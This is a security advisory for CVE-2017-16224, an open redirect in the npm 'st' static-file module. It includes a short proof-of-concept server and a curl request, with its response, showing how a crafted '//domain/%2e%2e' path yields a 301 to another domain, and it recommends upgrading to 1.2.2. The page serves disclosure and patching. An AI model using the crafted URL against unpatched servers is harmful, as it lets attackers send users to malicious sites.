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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTcyZmctanFoeC1jNjhw

Open Redirect in st

st is a module for serving static files.

An attacker is able to craft a request that results in an HTTP 301 (redirect) to an entirely different domain.

A request for: http://some.server.com//nodesecurity.org/%2e%2e would result in a 301 to //nodesecurity.org/%2e%2e which most browsers treat as a proper redirect as // is translated into the current schema being used.

Mitigating factor:

In order for this to work, st must be serving from the root of a server (/) rather than the typical sub directory (/static/) and the redirect URL will end with some form of URL encoded .. ("%2e%2e", "%2e.", ".%2e").

Code example (provided by Xin Gao):

[example.js]

var st = require('st') 
var http = require('http') 
http.createServer(st(process.cwd())).listen(1337)

$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 1337 (#0)
> GET //cve.mitre.com/%2e%2e HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< cache-control: public, max-age=600
< last-modified: Fri, 13 Oct 2017 22:56:33 GMT
< etag: "16777220-46488904-1507935393000"
< location: //cve.mitre.com/%2e%2e/
< Date: Fri, 13 Oct 2017 22:56:41 GMT
< Connection: keep-alive
< Content-Length: 30
<
* Connection #0 to host localhost left intact

Recommendation

Update to version 1.2.2 or later.

Permalink: https://github.com/advisories/GHSA-72fg-jqhx-c68p
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTcyZmctanFoeC1jNjhw
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: over 5 years ago
Updated: 8 months ago

CVSS Score: 6.1
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Identifiers: GHSA-72fg-jqhx-c68p, CVE-2017-16224
References:

• https://nvd.nist.gov/vuln/detail/CVE-2017-16224
• https://github.com/advisories/GHSA-72fg-jqhx-c68p
• https://www.npmjs.com/advisories/547

Blast Radius: 29.3

Affected Packages